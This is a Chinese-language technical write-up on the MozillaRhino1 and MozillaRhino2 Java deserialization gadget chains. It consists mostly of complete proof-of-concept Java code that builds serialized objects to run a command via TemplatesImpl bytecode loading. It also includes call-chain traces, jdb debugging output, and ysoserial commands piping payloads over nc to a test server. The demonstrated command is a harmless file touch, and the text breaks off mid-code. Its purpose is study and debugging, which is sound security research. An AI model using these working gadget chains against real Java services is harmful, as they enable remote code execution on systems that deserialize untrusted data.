
标题: MozillaRhino反序列化利用链
☆ 前言
☆ Serializable接口详解
10) MozillaRhino反序列化漏洞
10.1) org.mozilla.javascript.NativeError
10.1.0) JacksonExploit.java
10.1.1) NativeErrorExec.java
10.1.2) 简化版调用关系
10.1.3) NativeErrorExec2.java
10.1.4) 调试器对被调试进程的挠动
10.1.5) ysoserial.payloads.MozillaRhino1
10.2) org.mozilla.javascript.NativeJavaObject
10.2.1) NativeJavaObjectExec.java
10.2.2) 简化版调用关系
10.2.3) ysoserial.payloads.MozillaRhino2
10.2.4) NativeJavaObjectExec6.java
10.2.5) CVE-2019-6980(Zimbra)
☆ 参考资源
☆ 前言
本篇提供几个简版PoC以便调试分析MozillaRhino反序列化利用链。这大概是我见过的最复杂的两条利用链,对于Matthias Kaiser、An Trinh(tint0)非常服气。
基本没写文字分析。因为我深知,几乎所有的文字分析都是写的人在那里自言自语自嗨,只适合自己看,读的人要想整明白,需要的是完整的PoC及复现步骤,进而对之展开动态调试。
最佳入手方式是,先把PoC跑通,然后打个断点:
stop in java.lang.Runtime.exec(java.lang.String[])
最后查看调用栈回溯中的各层代码。当然,这只是其中一部分,有许多数据准备工作并不直接体现在前述调用栈回溯中,需要调试其他分支流程,去实践中领会精神吧。
☆ Serializable接口详解
10) MozillaRhino反序列化漏洞
10.1) org.mozilla.javascript.NativeError
参[89],Matthias Kaiser这篇"Return of the Rhino"是我最早接触的Java反序列化文章,大概是2019年11月。当时感觉每个字都认识,就是不知道在说啥,6个月后再次看到它,重读了一遍,这次懂了,学习之路不易。
PoC用到如下库:
js-1.7R2.jar
js-1.6R7.jar
10.1.0) JacksonExploit.java
同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。
/*
* javac -encoding GBK -g -XDignore.symbol.file JacksonExploit.java
*
* 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file"
*
* warning: AbstractTranslet is internal proprietary API and may be removed in a future release
*/
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/*
* 必须是public,否则不能成功执行命令
*/
public class JacksonExploit extends AbstractTranslet
{
/*
* 必须是public
*/
public JacksonExploit ()
{
try
{
System.out.println( "scz is here" );
Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } );
}
catch ( IOException e )
{
e.printStackTrace();
}
}
/*
* 必须重载这两个抽象方法,否则编译时报错
*/
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler )
{
}
@Override
public void transform ( DOM document, SerializationHandler[] handler )
{
}
}
10.1.1) NativeErrorExec.java
/*
* javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec.java
*/
import java.io.*;
import java.lang.reflect.*;
import javax.management.BadAttributeValueExpException;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;
public class NativeErrorExec
{
/*
* 参看TemplatesImplExec.java
*/
private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception
{
byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
TemplatesImpl ti = new TemplatesImpl();
/*
* 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
* _bytecodes得到执行,中途就会抛异常。
*/
Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
_bytecodes.setAccessible( true );
_bytecodes.set( ti, new byte[][] { evilbyte } );
Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" );
_tfactory.setAccessible( true );
_tfactory.set( ti, new TransformerFactoryImpl() );
Field _name = TemplatesImpl.class.getDeclaredField( "_name" );
_name.setAccessible( true );
/*
* 第二形参可以是任意字符串,比如空串,但不能是null
*/
_name.set( ti, "" );
return( ti );
} /* end of getTemplatesImpl */
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
/*
* 不是public类,没法import
*/
Class clz_NativeError = Class.forName( "org.mozilla.javascript.NativeError" );
Constructor cons_NativeError = clz_NativeError.getDeclaredConstructor();
cons_NativeError.setAccessible( true );
/*
* NativeError实例
*/
ScriptableObject ne = ( ScriptableObject )cons_NativeError.newInstance();
Method m_enter = Context.class.getDeclaredMethod( "enter" );
/*
* 设置
*
* org.mozilla.javascript.MemberBox.memberObject
* org.mozilla.javascript.NativeJavaMethod.methods[0]
* org.mozilla.javascript.NativeJavaMethod.functionName
*/
NativeJavaMethod njm_enter = new NativeJavaMethod( m_enter, "name" );
/*
* 用njm_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"name"
*
* 这次只是占坑,后面会用mb_enter替换掉njm_enter
*/
ne.setGetterOrSetter( "name", 0, njm_enter, false );
/*
* private方法,不能直接调用
*/
Method m_getSlot = ScriptableObject.class.getDeclaredMethod
(
"getSlot",
String.class,
int.class,
int.class
);
m_getSlot.setAccessible( true );
/*
* SLOT_QUERY = 1
*/
Object slot = m_getSlot.invoke( ne, "name", 0, 1 );
Field f_getter = slot.getClass().getDeclaredField( "getter" );
f_getter.setAccessible( true );
/*
* 无法直接import
*/
Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" );
Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class );
cons_MemberBox.setAccessible( true );
Object mb_enter = cons_MemberBox.newInstance( m_enter );
/*
* 用mb_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"name"
*/
f_getter.set( slot, mb_enter );
Method m_newTransformer = TemplatesImpl.class.getDeclaredMethod( "newTransformer" );
NativeJavaMethod njm_newTransformer = new NativeJavaMethod( m_newTransformer, "message" );
/*
* 用njm_newTransformer设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"message"
*
* 注意存在
*
* org.mozilla.javascript.ScriptableObject.slots[]
*
* 第一形参name不同,对应不同的slot
*/
ne.setGetterOrSetter( "message", 0, njm_newTransformer, false );
TemplatesImpl ti = getTemplatesImpl( evilclass );
Context context = Context.enter();
/*
* 参看
*
* org.mozilla.javascript.ScriptRuntime.initStandardObjects()
*
* 下面这个强制类型转换成立,不要被函数原型中的返回值类型迷惑
*/
NativeObject no = ( NativeObject )context.initStandardObjects();
NativeJavaObject njo = new NativeJavaObject( no, ti, TemplatesImpl.class );
/*
* 用njo设置
*
* org.mozilla.javascript.ScriptableObject.prototypeObject
*/
ne.setPrototype( njo );
BadAttributeValueExpException
bave = new BadAttributeValueExpException( null );
Field f_val = bave.getClass().getDeclaredField( "val" );
f_val.setAccessible( true );
f_val.set( bave, ne );
return( bave );
} /* end of getObject */
public static void main ( String[] argv ) throws Exception
{
String evilclass = argv[0];
Object obj = getObject( evilclass );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
java \
-cp "js-1.7R2.jar:." \
NativeErrorExec JacksonExploit.class
抛出异常,但恶意代码已被执行。
JacksonExploit.class来自JacksonExploit.java。此次示例没有动用Javassist之类的东西动态生成JacksonExploit.class的等价物,萝卜白菜各有所爱,我不喜欢。
10.1.2) 简化版调用关系
ObjectInputStream.readObject // 8u232+1.7R2
BadAttributeValueExpException.readObject // ObjectStreamClass:1170
NativeError.toString // BadAttributeValueExpException:86
// this.val = valObj.toString()
// 此处开始NativeError利用链
NativeError.js_toString // NativeError:110
NativeError.getString // NativeError:150
// getString(thisObj, "name")
ScriptableObject.getProperty // NativeError:198
IdScriptableObject.get // ScriptableObject:1617
ScriptableObject.get // IdScriptableObject:387
ScriptableObject.getImpl // ScriptableObject:287
MemberBox.invoke // ScriptableObject:2020
// nativeGetter.invoke(getterThis, args)
MemberBox.method // MemberBox:158
// method = method()
return (Method)this.memberObject // MemberBox:91
Method.invoke // MemberBox:161
// method.invoke(target, args)
Context.enter
NativeError.getString // NativeError:150
// getString(thisObj, "message")
ScriptableObject.getProperty // NativeError:198
IdScriptableObject.get // ScriptableObject:1617
ScriptableObject.get // IdScriptableObject:387
ScriptableObject.getImpl // ScriptableObject:287
// 此处与Matthias Kaiser原文不严格对应,但基本意思没变
Context.getContext // ScriptableObject:2023
// cx = Context.getContext()
// 如果前面没有执行Context.enter(),此函数中会抛异常
NativeJavaMethod.call // ScriptableObject:2024
// f.call(cx, f.getParentScope(), start, ScriptRuntime.emptyArgs)
MemberBox meth = this.methods[index] // NativeJavaMethod:169
ScriptableObject.getPrototype // NativeJavaMethod:240
// o = o.getPrototype()
return this.prototypeObject // ScriptableObject:627
if ((o instanceof Wrapper)) // NativeJavaMethod:234
// o此时是NativeJavaObject实例,后者实现了Wrapper接口
NativeJavaObject.unwrap // NativeJavaMethod:235
// javaObject = ((Wrapper)o).unwrap()
return this.javaObject // NativeJavaObject:188
// this.javaObject此时是TemplatesImpl实例
MemberBox.invoke // NativeJavaMethod:247
// retval = meth.invoke(javaObject, args)
// meth是MemberBox实例,封装了TemplatesImpl.newTransformer()
MemberBox.method // MemberBox:158
// method = method()
return (Method)this.memberObject // MemberBox:91
Method.invoke // MemberBox:161
// method.invoke(target, args)
TemplatesImpl.newTransformer // 此处开始TemplatesImpl利用链
// 由Adam Gowdiak最早提出
MozillaRhino1、MozillaRhino2两条利用链属于我看过的利用链中最复杂的那一批。Matthias Kaiser、An Trinh(tint0)对MozillaRhino太熟悉。
10.1.3) NativeErrorExec2.java
参[90],Twings对Matthias Kaiser的数据准备方案做了一处微小改动,前者没有调用Context.enter()、Context.initStandardObjects(),这个改动很赞。
/*
* javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec2.java
*/
import java.io.*;
import java.lang.reflect.*;
import javax.management.BadAttributeValueExpException;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;
public class NativeErrorExec2
{
...
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
...
/*
* 占坑用
*/
ScriptableObject ne2 = ( ScriptableObject )cons_NativeError.newInstance();
( new ClassCache() ).associate( ne2 );
NativeJavaObject njo = new NativeJavaObject( ne2, ti, TemplatesImpl.class );
/*
* 用njo设置
*
* org.mozilla.javascript.ScriptableObject.prototypeObject
*/
ne.setPrototype( njo );
...
} /* end of getObject */
...
}
10.1.4) 调试器对被调试进程的挠动
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp "js-1.7R2.jar:." \
NativeErrorExec JacksonExploit.class
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in org.mozilla.javascript.NativeJavaMethod.call
main[1] wherei
[1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0
[2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135
[3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4
[4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58
[5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5
[6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2
[7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24
[8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1
[9] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97
[10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[14] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
[15] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
[16] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
[17] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
[18] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
[19] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59
main[1] clear org.mozilla.javascript.NativeJavaMethod.call
main[1] up 4
main[5] print obj
你会发现"print obj"、"print start"导致目标JVM输出"scz is here"。如果前面没有清除NativeJavaMethod.call()处的断点,执行"print obj"、"print start"会再次命中NativeJavaMethod.call()处的断点:
main[1] wherei
[1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0
[2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135
[3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4
[4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58
[5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5
[6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2
[7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24
[8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1
[9] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0
[10] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135
[11] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4
[12] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58
[13] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5
[14] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2
[15] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24
[16] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1
[17] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97
[18] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[19] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[20] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[21] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[22] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
[23] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
[24] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
[25] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
[26] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
[27] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59
"print obj"会调用NativeError.toString(),会再次触发NativeError利用链。如果用Eclipse等GUI工具调试,查看调用栈回溯时,一旦选中obj、start这些变量,立即触发obj.toString(),比jdb更坑爹。
10.1.5) ysoserial.payloads.MozillaRhino1
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino1.java
这是Matthias Kaiser提供的。
java \
-cp "js-1.7R2.jar:." \
VulnerableServer 192.168.65.23 1314
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino1 \
'/bin/touch /tmp/scz_is_here' \
| nc -n 192.168.65.23 1314
抛出异常,但恶意代码已被执行。
10.2) org.mozilla.javascript.NativeJavaObject
10.2.1) NativeJavaObjectExec.java
/*
* javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeJavaObjectExec.java
*/
import java.io.*;
import java.lang.reflect.*;
import sun.reflect.ReflectionFactory;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
public class NativeJavaObjectExec
{
/*
* 参看TemplatesImplExec.java
*/
private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception
{
byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
TemplatesImpl ti = new TemplatesImpl();
/*
* 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
* _bytecodes得到执行,中途就会抛异常。
*/
Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
_bytecodes.setAccessible( true );
_bytecodes.set( ti, new byte[][] { evilbyte } );
Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" );
_tfactory.setAccessible( true );
_tfactory.set( ti, new TransformerFactoryImpl() );
Field _name = TemplatesImpl.class.getDeclaredField( "_name" );
_name.setAccessible( true );
/*
* 第二形参可以是任意字符串,比如空串,但不能是null
*/
_name.set( ti, "" );
return( ti );
} /* end of getTemplatesImpl */
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
Method m_enter = Context.class.getDeclaredMethod( "enter" );
/*
* 无法直接import
*/
Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" );
Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class );
cons_MemberBox.setAccessible( true );
Object mb_enter = cons_MemberBox.newInstance( m_enter );
Method m_accessSlot = ScriptableObject.class.getDeclaredMethod
(
"accessSlot",
String.class,
int.class,
int.class
);
m_accessSlot.setAccessible( true );
/*
* public类,可以直接import
*/
ScriptableObject env_0 = ( ScriptableObject )new Environment();
/*
* 参org.mozilla.javascript.ScriptableObject
*
* SLOT_QUERY = 1
* SLOT_MODIFY = 2
* SLOT_MODIFY_GETTER_SETTER = 4
*
* 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占
* 坑,而是调用accessSlot()占坑
*/
Object slot = m_accessSlot.invoke( env_0, "foo", 0, 4 );
Field f_getter = slot.getClass().getDeclaredField( "getter" );
f_getter.setAccessible( true );
/*
* 用mb_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"foo"
*/
f_getter.set( slot, mb_enter );
/*
* 占坑用
*/
ScriptableObject env_dummy = ( ScriptableObject )new Environment();
/*
* 没有用tint0的方案,此处用了Twings的方案,后者简洁明了
*/
( new ClassCache() ).associate( env_dummy );
NativeJavaObject njo_0 = new NativeJavaObject( env_dummy, env_0, Environment.class, true );
Method m_writeAdapterObject
= NativeJavaObjectExec.class.getDeclaredMethod
(
"PrivateWriteAdapterObject",
Object.class,
ObjectOutputStream.class
);
Field f_writeAdapterObject
= NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" );
f_writeAdapterObject.setAccessible( true );
/*
* 反序列化时NativeJavaObject.adapter_readAdapterObject被设置成
*
* org.mozilla.javascript.JavaAdapter.readAdapterObject()
*
* 至此序列化出去的njo_0在反序列化时会触发Context.enter()
*/
f_writeAdapterObject.set( njo_0, m_writeAdapterObject );
ScriptableObject env_1 = ( ScriptableObject )new Environment();
/*
* 用env_1封装njo_0,就是找个成员变量存放njo_0
*
* 设置this.parentScopeObject
*/
env_1.setParentScope( njo_0 );
/*
* SLOT_MODIFY = 2
*/
m_accessSlot.invoke( env_1, "outputProperties", 0, 2 );
TemplatesImpl ti = getTemplatesImpl( evilclass );
/*
* NativeJavaArray是NativeJavaObject的子类。
*
* 此处用了ysoserial.payloads.JRMPListener展示过的一个技巧,调用父
* 类构造函数生成子类实例。我不喜欢tint0原来的实现。
*/
Constructor<?> cons_NativeJavaObject
= NativeJavaObject.class.getDeclaredConstructor
(
Scriptable.class,
Object.class,
Class.class
);
Constructor<?> cons_NativeJavaArray
= ReflectionFactory.getReflectionFactory().newConstructorForSerialization
(
NativeJavaArray.class,
cons_NativeJavaObject
);
NativeJavaArray nja = ( NativeJavaArray )cons_NativeJavaArray.newInstance
(
env_dummy,
ti,
TemplatesImpl.class
);
/*
* 用nja封装env_1,就是找个成员变量存放env_1
*
* 设置this.prototype
*/
nja.setPrototype( env_1 );
NativeJavaObject njo_1 = new NativeJavaObject( env_dummy, nja, NativeJavaArray.class, true );
f_writeAdapterObject.set( njo_1, m_writeAdapterObject );
return( njo_1 );
} /* end of getObject */
/*
* 必须是public的,否则序列化时就抛异常。参看
*
* org.mozilla.javascript.JavaAdapter.writeAdapterObject()
*/
public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException
{
out.writeObject( "java.lang.Object" );
out.writeObject( new String[0] );
out.writeObject( javaObject );
}
public static void main ( String[] argv ) throws Exception
{
String evilclass = argv[0];
Object obj = getObject( evilclass );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
java \
-cp "js-1.7R2.jar:." \
NativeJavaObjectExec JacksonExploit.class
抛出异常,但恶意代码已被执行。
10.2.2) 简化版调用关系
感觉MozillaRhino2比MozillaRhino1更复杂,尤其当你想搞清楚来龙去脉时。
ObjectInputStream.readObject // 8u232+1.7R2
// 读njo_1
NativeJavaObject.readObject // ObjectStreamClass:1170
JavaAdapter.readAdapterObject // NativeJavaObject:940
ObjectInputStream.readObject // JavaAdapter:260
NativeJavaObject.readObject // NativeJavaArray是NativeJavaObject的子类
ObjectInputStream.defaultReadObject // NativeJavaObject:932
ScriptableObject.readObject // this是Environment实例,对应env_1
ObjectInputStream.defaultReadObject // ScriptableObject:2496
NativeJavaObject.readObject // this是NativeJavaObject实例,对应njo_0
JavaAdapter.readAdapterObject // NativeJavaObject:940
ObjectInputStream.readObject // JavaAdapter:260
// 读env_0
JavaAdapter.getAdapterClass // JavaAdapter:262
JavaAdapter.getObjectFunctionNames // JavaAdapter:311
ScriptableObject.getProperty // JavaAdapter:290
Environment.get // ScriptableObject:1617
ScriptableObject.get // Environment:104
ScriptableObject.getImpl // ScriptableObject:287
MemberBox.invoke // ScriptableObject:2020
Method.invoke // MemberBox:161
Context.enter
ObjectInputStream.readObject // NativeJavaObject:945
// 读ti,设置nja.javaObject
JavaAdapter.getAdapterClass // JavaAdapter:262
JavaAdapter.getObjectFunctionNames // JavaAdapter:311
ScriptableObject.getProperty // JavaAdapter:290
NativeJavaArray.get // ScriptableObject:1617
NativeJavaObject.get // NativeJavaArray:99
JavaMembers.get // NativeJavaObject:113
MemberBox.invoke // JavaMembers:118
Method.invoke // MemberBox:161
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer // TemplatesImpl:507
// 此处开始TemplatesImpl利用链
// 由Adam Gowdiak最早提出
JavaAdapter.getAdapterClass()、ScriptableObject.getProperty()会触发Method.invoke()。
NativeJavaObject.、NativeJavaObject.readObject()中均会调用NativeJavaObject.initMembers()。
10.2.3) ysoserial.payloads.MozillaRhino2
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino2.java
这是An Trinh(tint0)提供的。
java \
-cp "js-1.7R2.jar:." \
VulnerableServer 192.168.65.23 1314
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino2 \
'/bin/touch /tmp/scz_is_here' \
| nc -n 192.168.65.23 1314
抛出异常,但恶意代码已被执行。
10.2.4) NativeJavaObjectExec6.java
tint0说MozillaRhino2利用链适用于1.6R6及以上版本,本小节用1.6R7测试。
/*
* javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.6R7.jar" NativeJavaObjectExec6.java
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import sun.reflect.ReflectionFactory;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
public class NativeJavaObjectExec6
{
/*
* 参看TemplatesImplExec.java
*/
private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception
{
byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
TemplatesImpl ti = new TemplatesImpl();
/*
* 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
* _bytecodes得到执行,中途就会抛异常。
*/
Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
_bytecodes.setAccessible( true );
_bytecodes.set( ti, new byte[][] { evilbyte } );
Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" );
_tfactory.setAccessible( true );
_tfactory.set( ti, new TransformerFactoryImpl() );
Field _name = TemplatesImpl.class.getDeclaredField( "_name" );
_name.setAccessible( true );
/*
* 第二形参可以是任意字符串,比如空串,但不能是null
*/
_name.set( ti, "" );
return( ti );
} /* end of getTemplatesImpl */
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
Method m_enter = Context.class.getDeclaredMethod( "enter" );
/*
* 无法直接import
*/
Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" );
Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class );
cons_MemberBox.setAccessible( true );
Object mb_enter = cons_MemberBox.newInstance( m_enter );
Method m_accessSlot = ScriptableObject.class.getDeclaredMethod
(
"accessSlot",
String.class,
int.class,
int.class
);
m_accessSlot.setAccessible( true );
/*
* public类,可以直接import
*/
ScriptableObject env_0 = ( ScriptableObject )new Environment();
/*
* 参org.mozilla.javascript.ScriptableObject
*
* SLOT_QUERY = 1
* SLOT_MODIFY = 2
* SLOT_MODIFY_GETTER_SETTER = 4
*
* 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占
* 坑,而是调用accessSlot()占坑
*/
Object slot = m_accessSlot.invoke( env_0, "foo", 0, 4 );
Field f_getter = slot.getClass().getDeclaredField( "getter" );
f_getter.setAccessible( true );
/*
* 用mb_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"foo"
*/
f_getter.set( slot, mb_enter );
/*
* 占坑用
*/
ScriptableObject env_dummy = ( ScriptableObject )new Environment();
/*
* 这是Twings的方案,简洁明了
*/
( new ClassCache() ).associate( env_dummy );
/*
* 这是tint0的方案,测试可用
*/
// Map associatedValues = new Hashtable();
// associatedValues.put( "ClassCache", new ClassCache() );
// Field f_associatedValues = ScriptableObject.class.getDeclaredField( "associatedValues" );
// f_associatedValues.setAccessible( true );
// f_associatedValues.set( env_dummy, associatedValues );
Method m_writeAdapterObject
= NativeJavaObjectExec6.class.getDeclaredMethod
(
"PrivateWriteAdapterObject",
Object.class,
ObjectOutputStream.class
);
NativeJavaObject njo_0 = PrivateInitNativeJavaObject
(
env_dummy,
env_0,
true,
m_writeAdapterObject
);
ScriptableObject env_1 = ( ScriptableObject )new Environment();
/*
* 用env_1封装njo_0,就是找个成员变量存放njo_0
*
* 设置this.parentScopeObject
*/
env_1.setParentScope( njo_0 );
/*
* SLOT_MODIFY = 2
*/
m_accessSlot.invoke( env_1, "outputProperties", 0, 2 );
TemplatesImpl ti = getTemplatesImpl( evilclass );
NativeJavaArray nja = PrivateInitNativeJavaArray
(
env_dummy,
ti,
env_1
);
NativeJavaObject njo_1 = PrivateInitNativeJavaObject
(
env_dummy,
nja,
true,
m_writeAdapterObject
);
return( njo_1 );
} /* end of getObject */
private static NativeJavaArray PrivateInitNativeJavaArray
(
Scriptable parent,
Object javaObject,
Scriptable prototype
) throws Exception
{
Constructor<?> cons_Object = Object.class.getDeclaredConstructor();
Constructor<?> cons_NativeJavaArray
= ReflectionFactory.getReflectionFactory().newConstructorForSerialization
(
NativeJavaArray.class,
cons_Object
);
NativeJavaArray nja = ( NativeJavaArray )cons_NativeJavaArray.newInstance();
Field f_parent = NativeJavaObject.class.getDeclaredField( "parent" );
Field f_javaObject = NativeJavaObject.class.getDeclaredField( "javaObject" );
Field f_prototype = NativeJavaArray.class.getDeclaredField( "prototype" );
f_parent.setAccessible( true );
f_javaObject.setAccessible( true );
f_prototype.setAccessible( true );
f_parent.set( nja, parent );
f_javaObject.set( nja, javaObject );
/*
* 对于1.6R7,NativeJavaObject、NativeJavaArray各有自己的成员
* prototype,必须同时设置它们,这是个坑。
*
* 对于1.7R2,NativeJavaArray没有重载成员prototype,无此问题。
*
* 设置子类NativeJavaArray.prototype
*
* 若未设置,将来NativeJavaArray.getPrototype()不会返回env_1
*/
f_prototype.set( nja, prototype );
/*
* 设置父类NativeJavaObject.prototype
*
* 若未设置,反序列化时有如下调用关系:
*
* NativeJavaObject.initMembers
* JavaMembers.lookupClass
* JavaMembers.<init>
* Context.getContext
* Context.getCurrentContext
* return null
* throw new RuntimeException("No Context associated with current Thread")
*
* 这个异常被捕获,不会直接抛到最外层,所以看不到提示信息
*/
nja.setPrototype( prototype );
return( nja );
}
private static NativeJavaObject PrivateInitNativeJavaObject
(
Scriptable parent,
Object javaObject,
boolean isAdapter,
Method writeAdapterObject
) throws Exception
{
NativeJavaObject njo = new NativeJavaObject();
Field f_parent = NativeJavaObject.class.getDeclaredField( "parent" );
Field f_javaObject = NativeJavaObject.class.getDeclaredField( "javaObject" );
Field f_isAdapter = NativeJavaObject.class.getDeclaredField( "isAdapter" );
Field f_writeAdapterObject
= NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" );
f_parent.setAccessible( true );
f_javaObject.setAccessible( true );
f_isAdapter.setAccessible( true );
f_writeAdapterObject.setAccessible( true );
